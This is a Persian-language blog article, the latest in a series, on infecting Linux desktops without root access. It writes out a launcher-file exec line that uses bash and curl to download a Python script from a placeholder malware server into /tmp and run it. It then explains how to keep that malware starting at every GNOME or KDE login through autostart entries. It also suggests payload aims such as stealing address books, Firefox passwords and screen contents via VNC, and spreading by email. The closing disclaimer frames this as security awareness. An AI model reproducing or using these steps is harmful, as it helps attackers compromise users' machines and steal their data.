در پست های گذشته، بررسي كرديم كه لينوكس، آنچنان كه تعريف و تمجيدهايي از آن ميشود، داراي معماري قوي نيست، و ميتوان برنامهاي را بدون تاييد كاربر در آن اجرا كرد.
البته اين را هم ذكر كرديم كه اجرا كردن يك برنامه با استفاده از غفلت كاربر، نيازمند تلاش زيادي براي گمراه كردن او و استفاده از عناصر جانبي براي تشويق او به اجراي فايل پيوستي ماست. همچنين بررسي كرديم كه ميتوان از طريق ايميل، يك فايل سكوي پرتاب (Launcher) براي كاربر ارسال كرد و در آن دستور زير را نوشت:
bash -c "curlhttp://www.some_malware_ %
server.org/s.py -o /tmp/s.py; python /tmp/s.py"
اين دستور چه كار ميكند؟ پايانه bash را اجرا ميكند، يك عبارت متني با دو دستور ساده درون آن، به اين پايانه ارسال ميكند تا آنها را اجرا كند. اولين دستور، CURL، اسكريپتي از يك سروري كه مثلا ما ويروسمان را آنجا پنهان كردهايم، دريافت ميكند و بعد آن را داخل مسير /tmp ذخيره ميكند.
توجه كنيد كه در برخي از سيستمها مثل اوبونتو، curl نصب نشده و بهجاي آن دستور مشابهاي با عنوان wget وجود دارد. در واقع، اين تفاوتها كمي كار دستور نويسي را سخت ميكند، اما قطعا مشكلي در سر راه بهحساب نميآيد.
دستور دوم، كه فراخواني است براي مفسر پايتون، اسكريپت تازه دانلود شده را اجرا ميكند. در بيشتر مواقع، پايتون و curl(يا wget) بهطور پيشفرض در توزيعهاي لينوكسي نصب هستند.
حالا اگر اين دستور را توي خط exec فايل سكوي پرتاب قرار بدهيم، كافي است كليكي ساده روي آن انجام شود تا دستور ما اجرا شود، دستور ما به دو دستور كوچكتر تقسيم ميشود كه در نهايت به دريافت و اجراي بدافزاري كه نوشتهايم، منجر خواهد شد.
براي مالكيت، نيازي به ريشه نيست
هيچ كدام از دستورهايي كه گفتيم دسترسي ريشه (Root) نميخواهند. اسكريپتما ميتواند هر كاري كه دوست دارد با حساب كاربر بكند. اما كارهايي كه اين اسكريپت توانايي انجامشان را دارد، محدود به دسترسيهاي كاربر است.
مثلا ميتوانيم دفتر آدرس كاربر را شخم بزنيم، آنها را به سرورمان ارسال كنيم، ايميل بفرستيم يا همين ويروس را با ايميل گسترش دهيم. ميتوانيم يك وصله فايرفاكس نصب كنيم كه پسوردها را بدزدد. ميتوانيم بدون آنكه كاربر بفهمد، با كمك VNC، صفحه ميز كارش را ببينيم و تمام اين كارها را با دسترسي عادي كاربر انجام ميدهيم.
در عموم حالتها هم، كامپيوتر روميزي يك كاربر دارد كه آن يك كاربر معمولا دسترسيهايي بسيار شبيه به دسترسيهاي ريشه دارد، بنابراين، ميزان صدماتي كه بدافزار ما ميتواند وارد كند، بيشتر و بيشتر ميشود.
شروع خودكار بعد از آغاز سيستم
اما بياييد اينطور فكر كنيم كه كاربر از اجراي پردازشهاي ناخواسته روي سيستماش مطلع ميشود و آنها را ميكشد و بعد سيستم را مجدد راهاندازي ميكند، حالا ميخواهيم كاري كنيم كه بعد از بوت هم بدافزار ما اجرا شود.
با كمك ويژگي autolaunch باز هم نيازي به دسترسي ريشه براي تعيين برنامههاي آغازين سيستم هنگام راهاندازي نداريم.
خيلي از برنامهها هستند كه وقتي پوستهتان را باز ميكنيد، ميتوانند اجرا شوند. اما بياييد واقعبين باشيم، كاربري كه تا آن حد از نظر امنيتي غافل بوده است كه فايل پيوستي ما را باز كند، قطعا در مدتهاي طولاني پوسته را باز نخواهد كرد.
ما ميخواهيم كاري كنيم كه هر بار كاربر وارد گنوم يا كيديئي شد، برنامه ما هم اجرا شود. در اينصورت براي ميزكارهاي گنوم ~/.config/autostart و براي ميزكار كيديئي ~/.kde/Autostart را ببينيد. تنها كافي است بدافزار ما، يك مدخل هم آنجا براي خودش دست و پا كند و در اينصورت كاربر بهطور كامل در اختيار ماست.
همين بود، نوشتن بدافزار اصلي بهعهده خودتان. باز هم لازم است ذكر كنيم كه اساسا قصد تشويق و يا پشتيباني از بدافزار نويسي را نداريم و بهشدت چنين كاري را محكوم ميكنيم. اما دانستن نقاط ضعف يك چيز، ما را كمك ميكند هشيارتر باشيم و بيشتر حواسمان جمع كنيم.
منبع: www.parsviva.com